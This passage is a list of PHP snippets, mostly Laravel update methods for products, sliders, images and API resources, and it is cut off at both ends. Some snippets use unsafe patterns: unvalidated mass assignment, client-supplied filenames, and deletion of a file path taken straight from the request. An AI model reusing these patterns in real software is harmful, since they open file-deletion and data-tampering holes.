update(Request $request, $id)\n {\n $validator = Validator::make($request->all(), [\n 'title' => 'required|string',\n 'content' => 'required|string',\n 'mentoring_area_id' => 'required|integer',\n 'featured_image_uri' => 'string',\n ]);\n\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), 400);\n }\n \n $resource = Resource::find($id);\n $resource->title = $request->get('title');\n $resource->content = $request->get('content');\n $resource->featured_image_uri = $request->get('featured_image_uri');\n $resource->updated_at = \\Carbon\\Carbon::now();\n $resource->mentoring_area_id = $request->get('mentoring_area_id');\n $resource->save();\n $data['resource'] = $resource;\n return APIHandler::response(1, \"Resource has been updated\");\n }", "protected function updateVideoResource($fileName, $videoId, $storage, $premium=1)\n {\n //Get video name and storage location for video\n $video = Video::where('id', '=', $videoId)->first();\n\n //Check the storage medium\n if($storage == 'vimeo' || $storage == 'youtube')\n {\n $video->name = $fileName;\n $video->storage = $storage;\n $video->premium = $premium;\n $video->save();\n }\n else\n {\n if($video['storage'] == 'local' || $video['storage'] == 's3')\n {\n //Delete old video\n $this->deleteResource($video->name, $video->storage);\n }\n \n //Store the new video\n $video->name = $fileName;\n $video->storage = $storage;\n $video->premium = $premium;\n $video->save();\n }\n }", "public function put($resource, $with=[]){\n return $this->fetch($resource, self::PUT, $with);\n }", "public function update($id, $resource) {\n SCA::$logger->log(\"update resource\");\n return $this->orders_service->update($id, $resource);\n }", "public function update($path);", "public function update($id, $resource)\n {\n SCA::$logger->log(\"Entering update()\");\n //check whether it is an sdo or an xml string.\n if ($resource instanceof SDO_DataObjectImpl) {\n //if the thing received is an sdo convert it to xml\n if ($this->xml_das !== null) {\n $xml = SCA_Helper::sdoToXml($this->xml_das, $resource);\n } else {\n throw new SCA_RuntimeException(\n 'Trying to update a resource with SDO but ' .\n 'no types specified for reference'\n );\n }\n } else {\n $xml = $resource;\n }\n\n $slash_if_needed = ('/' === $this->target_url[strlen($this->target_url)-1])?'':'/';\n\n $handle = curl_init($this->target_url.$slash_if_needed.\"$id\");\n curl_setopt($handle, CURLOPT_HEADER, false);\n curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($handle, CURLOPT_CUSTOMREQUEST, \"PUT\");\n curl_setopt($handle, CURLOPT_POSTFIELDS, $xml);\n\n //replace with Content-Type: atom whatever\n $headers = array(\"User-Agent: SCA\",\n \"Content-Type: text/xml;\",\n \"Accept: text/plain\");\n curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);\n\n $result = curl_exec($handle);\n\n $response_http_code = curl_getinfo($handle, CURLINFO_HTTP_CODE);\n\n curl_close($handle);\n\n $response_exception = $this->buildResponseException($response_http_code, '200');\n\n if ($response_exception != null) {\n throw $response_exception;\n } else {\n //update does not return anything in the body\n return true;\n }\n }", "public function update(Request $request, $id)\n {\n $this->validate($request, [\n 'name' => 'required',\n 'link' => 'required',\n 'description' => 'required'\n ]);\n\n $resource = Resource::find($id);\n $resource->name = $request->name;\n $resource->type_id = $request->type_id;\n $resource->has_cost = ($request->has('has_cost')) ? 1 : 0;\n $resource->language_id = $request->language_id;\n $resource->link = $request->link;\n $resource->description = $request->description;\n $resource->tags = '';\n\n $resource->save();\n //return back()->with('success', 'Recurso actualizado satisfactoriamente');\n return redirect('/resource')->with('success', 'Recurso actualizado satisfactoriamente');\n }", "public function update(Request $request, $id)\n {\n $oldProduct = Product::findOrFail($id);\n $data = $request->all();\n if(isset($data['img'])){\n // $file = $request->file('photo');\n // return $file;\n $imgName = time().'.'.$request->img->extension();\n $data['img'] = $imgName;\n // Storage::putFile('spares', $file);\n $path = $request->img->storeAs('public/uploads', $imgName); //in Storage\n\n //delete old file\n if($oldProduct->img != 'product-default.png'){\n Storage::delete(\"public/uploads/\".$oldProduct->img);\n // return 'deleted';\n }\n \n }else{\n $data['img'] = $oldProduct->img;\n }\n $oldProduct->update($data);\n return redirect()->route('product.index'); \n\n }", "public function update($request, $id) {\n\t\t\t$image = $request['photo'];\n\t\t\tif($image !== null) {\n\t\t\t\t$name = time().'.' . explode('/', explode(':', substr($image, 0, strpos($image, ';')))[1])[1];\n\t\t\t\t\\Image::make($request['photo'])->save(public_path('storage/products/').$name);\n\t\t\t\t$request['photo'] = $name;\n\t\t\t} else {\n\t\t\t\t$currenPhoto = Product::all()->where('id', $id)->first();\n\t\t\t\t$request['photo'] = $currenPhoto->photo;\n\t\t\t}\n return $this->product->update($id, $request);\n\t}", "public function updateStream($path, $resource, Config $config)\n {\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function updateResourceIndex(&$resource) {\n if ($this->connector != null) {\n\n // STEP 1: Update or insert this resource as a node:\n $this->logger->addDebug(\"Updating/Inserting Node into Neo4J database\");\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id} }) SET a.title = {title}, a.version = {version}, a.href = {href}\n return a;\",\n [\n 'id' => $resource->getID(),\n 'version' => $resource->getVersion(),\n 'title' => $resource->getTitle(),\n 'href' => $resource->getLink()\n ]\n );\n\n // Check to see if anything was added\n $records = $result->getRecords();\n if (empty($records)) {\n // Must create this record instead\n $result = $this->connector->run(\"CREATE (n:Resource) SET n += {infos};\",\n [\n \"infos\" => [\n 'id' => $resource->getID(),\n 'version' => $resource->getVersion(),\n 'title' => $resource->getTitle(),\n 'href' => $resource->getLink()\n ]\n ]\n );\n }\n\n // STEP 2: Update or insert the resource's link to holding repository\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id} })-[r:HIRELATION]->()\n return r;\",\n [\n 'id' => $resource->getID(),\n ]\n );\n $records = $result->getRecords();\n if (!empty($records)) {\n // delete the one there so that we can add the correct one (just in case)\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id}})-[r:HIRELATION]->() delete r;\",\n [\n 'id' => $resource->getID()\n ]\n );\n\n }\n\n // If resource has a repository, then add a link\n if ($resource->getRepository() != null && $resource->getRepository()->getID() != null) {\n $this->connector->run(\"MATCH (a:Identity {id: {id1} }) MATCH (b:Resource {id: {id2} }) CREATE (b)-[r:HIRELATION]->(a);\",\n [\n 'id1' => (string) $resource->getRepository()->getID(),\n 'id2' => $resource->getID()\n ]);\n }\n }\n }", "public function update($data) {}", "public function update($data) {}", "public function putStream($resource);", "public function update(Request $request, NebulaResource $resource, $item): RedirectResponse\n {\n $this->authorize('update', $item);\n\n $validated = $request->validate($resource->rules(\n $resource->editFields()\n ));\n\n $resource->updateQuery($item, $validated);\n\n $this->toast(__(':Resource updated', [\n 'resource' => $resource->singularName(),\n ]));\n\n return redirect()->back();\n }", "public function saveShopifyResource() {\n if (is_null($this->getShopifyId())) { // if there is no id...\n $this->createShopifyResource(); // create a new resource\n } else { // if there is an id...\n $this->updateShopifyResource(); // update the resource\n }\n }", "public function update($entity);", "public function update($entity);", "public function setResource($resource);", "public function updateStream($path, $resource, Config $config)\n {\n return $this->upload($path, $resource, $config);\n }", "public function isUpdateResource();", "public function update(Request $request, $id)\n {\n $device = Device::findOrFail($id);\n $device->fill($request->all());\n if ($request->hasFile('icon')) {\n if ($device->hasMedia('icon')) {\n $device->deleteMedia($device->getFirstMedia('icon'));\n }\n $device->addMediaFromRequest('icon')->toMediaCollection('icon');\n }\n $device->save();\n return new DeviceResource($device);\n }", "public function update(Request $request, $id)\n {\n //\n $product = Product::findOrFail($id);\n \n $product->update($request->all());\n \n $file = $request->file('url_image')->move('upload', $request->file('url_image')->getClientOriginalName());\n\n Product::where('id',$id)->update(['url_image'=>$file]);\n \n \\Session::flash('flash_message', 'Edit product successfully.'); \n \n //cũ : return redirect('articles');\n return redirect()->route('products.index');\n }", "public function store($data, Resource $resource);", "public function update(Request $request, $id)\n {\n \n $product = Product::find($id);\n\n\n $product->fill($request->all())->save();\n\n //Verificamos que tenemos una imagen\n if($request->file('photo_1')){\n\n\n //En caso de tenerla la guardamos en la clase Storage en la carpeta public en la carpeta image.\n $path = Storage::disk('public')->put('photo_1',$request->file('photo_1'));\n\n //Actualizamos el Post que acabamos de crear\n $product->fill(['photo_1' => asset($path)])->save();\n\n }\n\n\n return redirect()->route('products.index')->with('info', 'Producto actualizado exitosamente!');\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n if (\\Input::hasFile('image')) {\n $this->imgsave($request, $product);\n }\n\n\n if (!empty($request->input('tags'))) {\n $product->tags()->sync($request->input('tags'));\n } else {\n $product->tags()->detach();\n }\n\n $product->update($request->all());\n\n return redirect()->to('dashboard/product')->with('message', 'update success');\n }", "public function put($resource_path, array $variables = array()) {\n return $this->call($resource_path, $variables, 'PUT');\n }", "public function update($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n if (method_exists($this, 'updateValidations')) {\n $this->request->validate($this->updateValidations());\n }\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Update the specified resource */\n $resource->update(Input::all());\n\n /* Redirect back */\n return redirect()->back()\n ->with(\n 'info',\n Lang::has($this->name . '.resource-updated') ?\n $this->name . '.resource-updated' :\n 'messages.alert.resource-updated'\n );\n }", "public function putResponse($request)\n {\n $idSearched = $this->searcher->searchResourceIndex(\n $request, \n $this->db[$request['resource']]\n );\n if ($idSearched) {\n $resource = $this->db[$request['resource']][$idSearched];\n $bodyInput = json_decode($this->standardInput, true);\n $resource = BodyRequest::canApplyBody($bodyInput);\n $resource['id'] = (int)$request['param'];\n foreach($resource as $key => $value) {\n $this->db[$request['resource']][$idSearched][$key] = $value;\n }\n file_put_contents(DB_PATH, json_encode($this->db));\n }\n }", "public function update(Storedataset $request, dataset $dataset){\n $dataset->title = $request->input('title');\n $dataset->caption = $request->input('caption');\n $dataset->file_url = $request->input('file_url');\n $dataset->type = $request->input('type');\n $dataset->status = $request->input('status');\n $dataset->publication_id = $request->input('publication_id');\n\n $dataset->save();\n\n return redirect()->route('datasets.show', ['dataset' => $dataset]);\n }", "public function update(Request $request, $id)\n\n {\n ResourceManagement::findOrFail($id);\n $constraints = [\n 'title' => 'required|max:100',\n 'url'=> 'required|max:191',\n 'content' => 'required'\n ];\n\n $input = [\n 'title' => $request['title'],\n 'url' => $request['url'],\n 'content' => $request['content'],\n 'type' => $request['type'],\n 'level' => $request['level'],\n 'user_id' => $request['user']\n ];\n// $this->validate($input, $constraints);\n ResourceManagement::where('id', $id)\n ->update($input);\n\n return redirect()->intended('/resource-management');\n }", "public function update(Request $request, $id)\n {\n $this->validate($request, [\n 'title' => 'required',\n 'description' => 'required|string',\n 'price' => 'required|numeric',\n 'reference'=>'required'\n ]);\n \n $product = Product::find($id);\n $product->update($request->all());\n \n $im = $request->file('picture');\n \n if (!empty($im)) {\n \n $link = $request->file('picture')->store('images');\n \n \n $product->update([\n 'url_image' => $link,\n ]);\n } \n //dump($request->all());\n return redirect()->route('product.index')->with('message', 'Article modifié avec succès');\n }", "public function update(StoreOrUpdateAsset $request, Asset $asset)\n {\n if (Storage::exists($asset->path) && !Storage::delete($asset->path)) {\n abort(500);\n }\n\n $file = $request->file('file');\n $path = $file->store('assets');\n\n if (!$path) {\n abort(500);\n }\n\n // We wonder if we should delete the old file or not...\n\n $asset->name = $file->getClientOriginalName();\n $asset->size = $file->getSize();\n $asset->type = $file->getMimeType();\n $asset->path = $path;\n\n if ($asset->save()) {\n flash('The asset has been saved.')->success();\n } else {\n abort(500);\n }\n\n return redirect('/admin/assets');\n }", "public function update(FoodRecipeRequest $request, $id)\n {\n $foodRecipe = FoodRecipe::with('ingredients','cookingProcesses')->findOrFail($id);\n if ($request->input('name')!= null)\n $foodRecipe->name = $request->input('name');\n if ($request->input('detail')!= null)\n $foodRecipe->detail = $request->input('detail');\n if($request->file('photo') != null) {\n $old_file = $foodRecipe->photo;\n if($old_file != null){\n $path = public_path().'/storage/'.$old_file;\n File::delete($path);\n }\n $file = $request->file('photo');\n $name = '/foodRecipe/' . Carbon::now()->format(\"dnY-Hisu\") . \".\" . $file->extension();\n $file->storePubliclyAs('public', $name);\n $foodRecipe->photo = $name;\n }\n $foodRecipe->save();\n return new FoodRecipeResource($foodRecipe);\n }", "public function update(StorageTypeRequest $request, $id)\n {\n try {\n $this->service->updateStorageType($request, $id);\n return $this->NoContent();\n } catch (EntityNotFoundException $e) {\n \\Log::error($e->getMessage());\n return $this->NotFound($e->getMessage());\n } catch(\\QueryException $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n } catch(Exception $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n }\n }", "public function update(Request $request, $id)\n {\n //validation\n $this->validate(request(),[\n 'image' => 'image'\n ]);\n\n $slider = HomeSliders::find($id);\n \n $slider->link = request('link');\n\n //get old image to delete if updated\n $oldImage = request('oldImage');\n //get the new image\n $NewImage=$request->file('image');\n\n if($NewImage)\n {\n $filenameToStore= helpers::updatePhoto('image','homeSliders',$request);\n $slider->image=$filenameToStore;\n\n Storage::delete('public/Images/homeSliders/'.$oldImage);\n }\n\n $slider->save();\n\n Alert::success(config('app.name'), trans('messages.Updated Successfully') );\n return redirect()->route('admin.homeSlider',$slider->type);\n }", "public function update(Qstore $request, $id)\n {\n //\n }", "public function update(IEntity $entity);", "protected function performUpdate(): bool\n {\n // Abort if resource does not support update operations\n if (!$this->isUpdatable()) {\n throw new UnsupportedOperation(sprintf('API does not support update operation for %s resources', $this->resourceNameSingular()));\n }\n\n $id = $this->id();\n $prepared = $this->prepareBeforeUpdate($this->toArray());\n\n $payload = [\n $this->resourceNameSingular() => $prepared\n ];\n\n $response = $this\n ->request()\n ->put($this->endpoint($id), $payload);\n\n // Extract and (re)populate resource (if possible)\n // Note: Unlike the \"create\" method, Redmine does NOT\n // appear to send back a full resource when it has been\n // successfully updated.\n $this->fill(\n $this->decodeSingle($response)\n );\n\n return true;\n }", "public function update($request, $id);", "function put($resource, $data = null) {\r\n\t\t\r\n\t\tif(isset($data)) {\r\n\t\t\t$this->request_body = $data;\r\n\t\t}\r\n\r\n\t\t// make the call chief\r\n\t\t$this->exec ( \"PUT\", '/' . $resource );\r\n\r\n\t\t// check the request status\r\n\t\tif($this->status_code != 200){\r\n\t\t\t$this->Logger->error(\r\n\t\t\t\tsprintf(\r\n\t\t\t\t\t'GET Call for resource \\'%s\\' Failed.\r\n\t\t\t\t\tStatus: %d,\r\n\t\t\t\t\tRequest: %s\r\n\t\t\t\t\tAPI Error Message: \r\n\t\t\t\t\t%s',\r\n\t\t\t\t\t$resource,\r\n\t\t\t\t\t$this->status_code,\r\n\t\t\t\t\t$this->request_body_raw,\r\n\t\t\t\t\t$this->response_body\r\n\t\t\t\t)\r\n\t\t\t);\r\n\t\t\tthrow new Exception($this->response_body);\r\n\t\t} else {\r\n\t\t\treturn $this->response_parsed;\r\n\t\t}\r\n\t}", "public function updateEntities($resource)\n {\n $json = [\n 'resource' => $resource,\n ];\n $request = $this->createRequest('PUT', '/entities', ['json' => $json]);\n $response = $this->send($request);\n return $response;\n }", "public function updateStream($path, $resource, Config $config)\n {\n return $this->writeStream($path, $resource, $config);\n }", "public function update(Request $request, $id)\n {\n\n $product = Product::findOrFail($id);\n $product->name = $request['name'];\n $product->price = $request['price'];\n $product->stock = $request['stock'];\n $product->description = $request['description'];\n\n $file = $request->file('image');\n $fileName = $file->getClientOriginalName();\n if($fileName != $product->image){\n $request->file('image')->move('images/',$fileName);\n $product->image = $fileName;\n }\n\n $product->save();\n\n return redirect()->route('products.show',\n $product->id)->with('flash_message',\n 'Article, '. $product->name.' updated');\n }", "protected function handleUpdate()\n {\n $resource = $this->argument('resource');\n $action = $this->option('action');\n $startPage = (int)$this->option('startPage');\n $perPage = (int)$this->option('perPage');\n\n try {\n $harvest = Harvest::where('resource', $resource)->where('action', $action)->firstOrFail();\n } catch (\\Exception $e) {\n $this->info('There is no existing action for updating ' . ucwords($action) . ' ' . ucwords($resource) . '.');\n exit('Nothing was updated.');\n }\n\n $options = [\n 'startPage' => $startPage,\n 'perPage' => $perPage,\n 'lastRun' => $harvest->last_run_at\n ];\n\n // If a lastRun was given use that\n // OR if this has never been run before use 2001-01-01\n if (!empty($this->option('lastRun'))) {\n $options['lastRun'] = new Carbon($this->option('lastRun'));\n } elseif (is_null($options['lastRun'])) {\n $options['lastRun'] = new Carbon('2001-01-01');\n }\n\n $job = new UpdateResourceJob(\n $harvest,\n $options\n );\n\n $message = 'Updating ' . $action . ' ' . $resource . ' ' . $perPage . ' at a time';\n if (isset($lastRun)) {\n $message .= ' with entries updated since ' . $lastRun->format('r');\n }\n $this->info($message);\n $this->dispatch($job);\n }", "abstract public function put($data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function testUpdateSupplierUsingPUT()\n {\n }", "public function update(Request $request, $id)\n {\n $storageplace = Storageplace::findOrFail($id);\n $storageplace->update($request->only(['storageplace']));\n return $storageplace;\n }", "public function updateRelatedImage(Request $request, $id)\n {\n // Delete display image in Storage\n Validator::make($request->all(), ['photos' => \"required|file|image|mimes:jpg,png,jpeg|max:5000\"])->validate();\n\n\n if ($request->hasFile(\"photos\")) {\n\n $photo = ProductsPhoto::find($id);\n $imageName = $photo->photos;\n $exists = Storage::disk('local')->exists(\"public/product_images/\" . $photo->photos);\n\n //delete old image\n if ($exists) {\n Storage::delete('public/product_images/' . $imageName);\n }\n\n //upload new image\n $ext = $request->file('photos')->getClientOriginalExtension(); //jpg\n\n $request->photos->storeAs(\"public/product_images/\", $imageName);\n\n $arrayToUpdate = array('photos' => $imageName);\n DB::table('products_photos')->where('id', $id)->update($arrayToUpdate);\n\n return redirect()->route(\"adminDisplayRelatedImageForm\", ['id' => $photo->product_id]);\n } else {\n\n $error = \"NO Image was Selected\";\n return $error;\n }\n }", "public function update(Request $request, $id)\n {\n $skill = Skill::findOrFail($id);\n\n $skill->skill = $request->skill;\n\n if ($request->hasFile('image')) {\n \\Cloudder::upload($request->file('image'));\n $c=\\Cloudder::getResult();\n // $image = $request->file('image');\n // $filename = time() . '.' . $image->getClientOriginalExtension();\n // $location = public_path('images/' . $filename);\n // Image::make($image)->save($location);\n\n $skill->image = $c['url'];\n }\n\n $skill->save();\n\n Session::flash('success', 'Successsfully updated your skill!');\n return redirect()->route('skills.index');\n }", "public function updateStream($path, $resource, Config $config = null)\n {\n $contents = stream_get_contents($resource);\n\n return $this->write($path, $contents, $config);\n }", "public abstract function update($object);", "public static function update($id, $file)\n {\n Image::delete($id);\n\n Image::save($file);\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n $image = $product->image;\n if($request->hasFile('image')){\n $image = $request->file('image')->store('files');\n \\Storage::delete($product->image);\n } \n $product->name = $request->get('name');\n $product->price = $request->get('price');\n $product->description = $request->get('description');\n $product->additional_info = $request->get('additional_info');\n $product->category_id = $request->get('category');\n $product->subcategory_id = $request->get('subcategory');\n $product->image = $image;\n $product->save();\n return redirect()->back();\n }", "public function update(Request $request, $id)\n {\n $sli=Slider::find($id);\n $sli->sort_order=$request->input('sort_order');\n $image = $request->file('slider');\n if($image == ''){\n $image = $sli->slider;\n }else{\n $image = base64_encode(file_get_contents($request->file('slider')));\n }\n $sli->slider = $image;\n $sli->save();\n return redirect()->back();\n }", "public function update(ProductRequest $request, $id)\n {\n $input = Product::find($id);\n $data = $request->all();\n if ($file = $request->file('product_photo')){\n $name = time().$file->getClientOriginalName();\n $file->move('product_image',$name);\n $data['product_photo']=$name;\n// $input->update($data);\n }\n $input->update($data);\n return redirect('admin/products/');\n }", "public function update(Request $request, $id)\n {\n $volume = $this->findVolume($id);\n\n if(count($volume) > 0) {\n $volume->str_volume_name = $request->str_volume_name;\n\n $volume->save();\n }\n\n return response()\n ->json(\n array(\n 'message' => 'Volume is successfully updated.',\n 'volume' => $volume\n ),\n 201\n );\n }", "public function update(Request $request, $id)\n {\n $product = ProductModel::find($id);\n $product->name = $request->name;\n $product->description = $request->description;\n $product->price = $request->price;\n $product->stock = $request->stock;\n\n if($request->image!=null){\n $imageName = time().'.'.$request->image->extension();\n $request->image->move(public_path('images'), $imageName);\n $product->image = \"/images/\".$imageName;\n }\n $product->save();\n return redirect(\"/products/index\")->with('success','Product has been updated');\n }", "public function update()\n {\n $accessory = Accessories::find(request('id'));\n\n if ($accessory == null) {\n return response()->json([\"error\" => \"aksesuaras nerastas\"], 404);\n }\n\n $this->validateData();\n $path = $accessory->src;\n\n if (request()->hasFile('src')) {\n\n if (Storage::disk('public')->exists($accessory->src)) {\n Storage::disk('public')->delete($accessory->src);\n }\n $path = request()->file('src')->store('accessoriesImages', 'public');\n }\n\n $accessory->update(array_merge($this->validateData(), ['src' => $path]));\n\n return response()->json([\"data\" => $accessory], 200);\n }", "public function update(ProductStoreRequest $request,$id)\n {\n $data = $request->validated();\n $product = Product::where('id',$id);\n $product->update($data);\n return response(\"Producto actualizado con éxito\",200);\n }", "public function update($entity)\n {\n \n }", "public function updateStream($path, $resource, Config $config)\n {\n return $this->write($path,stream_get_contents($resource),$config);\n }", "public function update($id, Request $request)\n {\n date_default_timezone_set('Asia/Taipei');\n $data = $request->all();\n $dbData = Product::find($id);\n $myfile = Storage::disk('local');\n if ($request->hasFile('img')) {\n $file = $request->file('img');\n $path = $myfile->putFile('public', $file);\n $data['img'] = $myfile->url($path);\n File::delete(public_path($dbData->img));\n }\n $dbData->update($data);\n\n if ($request->hasFile('imgs')) {\n // $this->fetchDestroyByProdId($id);\n $localS = Storage::disk('local');\n\n $fileS = $request->file('imgs');\n $imgs = [];\n foreach ($fileS as $i) {\n $pathS = $localS->putFile('public', $i);\n $imgs[] = $localS->url($pathS);\n }\n foreach ($imgs as $img) {\n ProductImg::create([\n 'product_id' => $id,\n 'img' => $img\n ]);\n }\n }\n\n return redirect()->route('admin');\n }", "public function update(Request $request, Product $product)\n { $remfile= $product->image;\n if($request->filep){\n $product->image=$request->filep;\n File::delete(storage_path('app/public/products/'.$remfile));\n }else{\n $product->image=$remfile;\n }\n //rmdir(storage_path('app/public/products/'.$remfile));\n $product->name = $request->name;\n $product->description = $request->description;\n $product->price = $request->price;\n $product->save();\n sleep(3);\n toast('Details updated successfully','info');\n return redirect('/products');\n }", "public function update($id, $input);", "public function update(ProductRequest $request,int $id): ProductResource\n {\n $attributes = $request->only('supplier_id', 'name', 'warehouses');\n\n return new ProductResource($this->productRepository->update($id, $attributes)); }", "public function update(Request $request, $id)\n {\n $slider=new Slider;\n $slider=$slider::find($id);\n \n \n if($file =$request->file('slider')){\n if(Storage::delete('public/slider/'.$slider->slider)){\n\n //Get file original name//\n \n$original_name=$file->getClientOriginalName();\n\n //Get just the file name\n$filename=pathinfo($original_name,PATHINFO_FILENAME);\n\n//Create new file name\n$name=$filename.'_'.time().'.'.$file->getClientOriginalExtension();\n\n $destination='public/slider';\n $path=$request->slider->storeAs($destination,$name);\n $slider->slider=$name;\n $slider->save();\n return redirect('Admin/slider');\n\n }\n }\n}", "public function update(Request $request, $id)\n {/* dd($request->all()); */\n $acheivePic = $this->acheiveRepo->find($id);\n $acheive = $request->except('_method', '_token', 'photo', 'ar', 'en');\n $acheiveTrans = $request->only('ar', 'en');\n\n if ($request->hasFile('icon')) {\n // Delete old image first.\n $oldPic = public_path() . '/images/acheives/' . $acheivePic->icon;\n File::delete($oldPic);\n\n // Save the new one.\n $image = $request->file('icon');\n $imageName = $this->upload($image, 'acheives');\n $acheive['icon'] = $imageName;\n }\n\n $this->acheiveRepo->update($id, $acheive, $acheiveTrans);\n\n return redirect('admin-panel/widgets/acheive')->with('updated', 'updated');\n }", "public function update(Request $request, $id)\n {\n $data = $request->all();\n extract($data);\n\n $productVarient = new ProductVariant();\n $productVarient = $productVarient->find($id);\n $productVarient->vendor_id = auth()->user()->id;\n $productVarient->description = $prod_desc;\n $productVarient->price = $price;\n\n if(request()->hasFile('photo')){\n $image = request()->file('photo')->getClientOriginalName();\n $imageNewName = auth()->user()->id.'-'.$image;\n $file = request()->file('photo');\n $file->storeAs('images/product',$imageNewName, ['disk' => 'public']);\n $productVarient->image = $imageNewName;\n }\n \n $productVarient->save();\n\n return back()->withStatus(__('Product successfully updated.'));\n }", "public function update(Request $request, $id)\n {\n //if upload new image, delete old image\n $myfile=$request->old_photo;\n if($request->hasfile('photo'))\n {\n $imageName=time().'.'.$request->photo->extension();\n $name=$request->old_photo;\n\n if(file_exists(public_path($name))){\n unlink(public_path($name));\n $request->photo->move(public_path('backendtemplate/truefalseimg'),$imageName);\n $myfile='backendtemplate/truefalseimg/'.$imageName;\n }\n }\n //Update Data\n $truefalsequestion=TrueFalseQuestion::find($id);\n $truefalsequestion->name=$request->name;\n $truefalsequestion->photo=$myfile;\n $truefalsequestion->answer = $request->answer;\n $truefalsequestion->question_id = $request->question;\n $truefalsequestion->save();\n\n //Redirect\n return redirect()->route('truefalsequestions.index'); \n }", "public function update($id);", "public function update($id);", "private function update()\n {\n $this->data = $this->updateData($this->data, $this->actions);\n $this->actions = [];\n }", "public function put($path, $data = null);", "public function update(Request $request, $id)\n {\n $request->validate([\n 'path_image'=>'image',\n 'status'=>'required|in:0,1'\n ]);\n $slider=Slider::whereId($id)->first();\n if (is_null($slider)){\n return redirect()->route('sliders.index')->with('error','Slider does not exist');\n }\n try {\n if ($request->hasFile('path_image')){\n $file = $request->file('path_image');\n\n $image_path= $file->store('/sliders',[\n 'disk'=>'uploads'\n ]);\n Storage::disk('uploads')->delete($slider->image);\n\n $request->merge([\n 'image'=>$image_path,\n ]);\n }\n\n $slider->update( $request->only(['status','image']));\n return redirect()->route('sliders.index')->with('success','Updated successful');\n }catch (\\Exception $exception){\n return redirect()->route('sliders.index')->with(['error'=>'Something error try again']);\n\n }\n }", "public function update() {\n $this->accessory->update($this->accessory_params());\n\n if ($this->accessory->is_valid()) {\n $this->update_accessory_image($this->accessory);\n redirect('/backend/accessories', ['notice' => 'Successfully updated.']);\n } else {\n redirect(\n '/backend/accessories/edit',\n ['error' => $this->accessory->errors_as_string()],\n ['id' => $this->accessory->id]\n );\n }\n }", "public function update(Entity $entity);", "public function update(Request $request, $id)\n {\n $icon = SliderIcon::find($id);\n $data = $request->all();\n $data['active'] = $request->has('active') ? 1 : 0;\n if ($request->hasFile('img')) {\n if (Storage::disk('public')->exists(str_replace('storage', '', $icon->img))){\n Storage::disk('public')->delete(str_replace('storage', '', $icon->img));\n }\n $image = $request->file('img');\n $fileName = time().'_'.Str::lower(Str::random(5)).'.'.$image->getClientOriginalExtension();\n $path_to = '/upload/images/'.getfolderName();\n $image->storeAs('public'.$path_to, $fileName);\n $data['img'] = 'storage'.$path_to.'/'.$fileName;\n }\n $icon->update($data);\n return redirect()->route('slider_icons.index')->with('success', 'Данные преимущества обнавлены');\n }", "public function update() {\n\t $this->layout = false;\n\t \n\t //set default response\n\t $response = array('status'=>'failed', 'message'=>'HTTP method not allowed');\n\t \n\t //check if HTTP method is PUT\n\t if($this->request->is('put')){\n\t //get data from request object\n\t $data = $this->request->input('json_decode', true);\n\t if (empty($data)) {\n\t $data = $this->request->data;\n\t }\n\t \n\t //check if product ID was provided\n\t if (!empty($data['id'])) {\n\t \n\t //set the product ID to update\n\t $this->Player->id = $data['id'];\n\t if ($this->Player->save($data)) {\n\t $response = array('status'=>'success','message'=>'Product successfully updated');\n\t } else {\n\t $response['message'] = \"Failed to update product\";\n\t }\n\t } else {\n\t $response['message'] = 'Please provide product ID';\n\t }\n\t }\n\t \n\t $this->response->type('application/json');\n\t $this->response->body(json_encode($response));\n\n\t return $this->response->send();\n\t}", "public function update(Request $request, $id)\n {\n //validate incoming request\n $request->validate([\n 'name' => 'string|max:100|nullable',\n 'picture' => 'max:2000|mimes:jpeg,jpg,png,svg|nullable', //max size 2mb,\n 'total' => 'integer|min:0|nullable', //value must be > 0\n 'selling_price' => 'numeric|min:0|nullable',\n 'cost_price' => 'numeric|min:0|nullable',\n 'category_id' => 'integer|nullable'\n ]);\n\n try {\n $product = Auth::user()->store->product()->findorFail($id);\n } catch (ModelNotFoundException $e) {\n return response()->json([\n \"message\" => \"Forbidden\"\n ], 403);\n }\n\n //if category id isnt null\n if ($category_id = $request->category_id) {\n if (!$this->isCategoryIdValid($category_id))\n return response()->json([\n \"message\" => \"Category Id is not valid\"\n ], 422);\n else\n $product->category_id = $request->category_id;\n }\n\n //if uploaded file exist\n if ($picture = $request->file(\"picture\")) {\n //if product already has logo\n if ($product->picture)\n Storage::delete(Product::$PICTURE_PATH . \"/\" . $product->picture);\n\n $picture_path = $picture->store(Product::$PICTURE_PATH);\n //remove folder name from path\n $product->picture = str_replace(Product::$PICTURE_PATH . \"/\", '', $picture_path);\n }\n\n $this->renewProduct($product, $request);\n $product->save();\n return response()->json(new ProductResource($product), 200);\n }", "public function update(Request $request, $id)\n {\n $request->validate([\n 'name' => 'required | min:3 | string',\n 'type' => 'required',\n 'producer' => 'required',\n 'image' => 'image | mimes:png,jpg,jpeg',\n 'price_input' => 'required | numeric | min:0 | max:300000000',\n 'promotion_price' => 'required | numeric | max:300000000',\n 'description' => 'required | string',\n\n ]);\n $product = Product::withTrashed()->findOrfail($id);\n $product->name = $request->name;\n $product->id_type = $request->type;\n $product->id_producer = $request->producer;\n\n $product->amount = $request->amount;\n if (request('image')) {\n $product->image = base64_encode(file_get_contents($request->file('image')->getRealPath()));\n }\n\n $product->price_input = $request->price_input;\n\n if ( $request->promotion_price >= 0 && $request->promotion_price < $product->price_input) {\n $product->promotion_price = $request->promotion_price;\n }else{\n return back()->with('error', '\n Do not enter a negative number');\n }\n $product->new = $request->new;\n\n $product->description = $request->description;\n\n $product->save();\n $product->size()->sync(request('size'));\n\n return redirect()->route('product.index')->with('success', 'Product Updated successfully');\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n $product->name = $request->input('name');\n $product->description = $request->input('description');\n $product->lastPrice = $product->price !== $request->input('price') ? $product->price : NULL;\n $product->price = 